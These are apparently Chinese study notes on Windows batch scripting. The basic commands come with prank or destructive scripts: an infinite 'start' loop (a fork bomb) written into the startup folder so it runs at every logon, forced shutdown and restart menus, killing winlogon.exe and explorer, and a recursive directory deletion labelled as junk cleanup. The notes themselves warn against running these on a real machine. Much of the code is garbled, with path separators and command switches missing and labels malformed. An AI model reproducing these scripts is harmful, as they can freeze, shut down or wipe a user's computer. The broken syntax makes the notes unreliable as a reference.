@echo off (关闭执行过程,只显示结果)
color 0a 黑绿
title 主题名
echo 打印输出
pause暂停
echo.空一行;换行;
echo 垃圾清理
d: >nul 2 >nul
cd >nul 2>nul
rd . sq >nul 2>nul
ping -n 10 10.1.1.1 >nul 2>nul
echo congratulations!!!
winxp开机自启动文件夹:C:Documents and SetingsAdministrator[开始] 菜单程序启动
%userprofile%「开始」菜单程序启动
因为有特殊字符「」所以需要加双引号:"%userprofile%「开始」菜单程序启动"
win10开机自启动文件夹:C:Users用户名AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
勿在真机上操作;
copy qq.bat "%userprofile%「开始」菜单程序启动"
:d
start
goto d
set /p a=请输入时间 (单位:s) //在没有/p时a后面的值起作用;在有/p时会等待用户输入,用户输入的值起作用
shutdown -r -f -t %a%
@echo off
:num
echo ==================
echo 1.项目1
echo 2.项目2
echo 3.项目3
echo ==================
set /p num=请输入项目序号
if "%num%" =="1" goto 1
if "%num%" == "2" goto 2
if "%num%" == "3" goto 3
1:
set /p a=请输入时间,单位s
shutdown -s -f -t %a%
goto num
2:
shutdown -a
goto num
3.
exit
goto num
echo :a >> "%userprofile%「开始」菜单程序启动haha.bat"
echo start >> "%userprofile%「开始」菜单程序启动haha.bat"
echo goto a >> "%userprofile%「开始」菜单程序启动haha.bat"
ntsd -c -q -pn winlogon.exe强制杀进程 限于win2003
taskkill /im explorer /f
ping -n 10 127.0.0.1 >nul 2>nul
start c:windowsexplorer.exe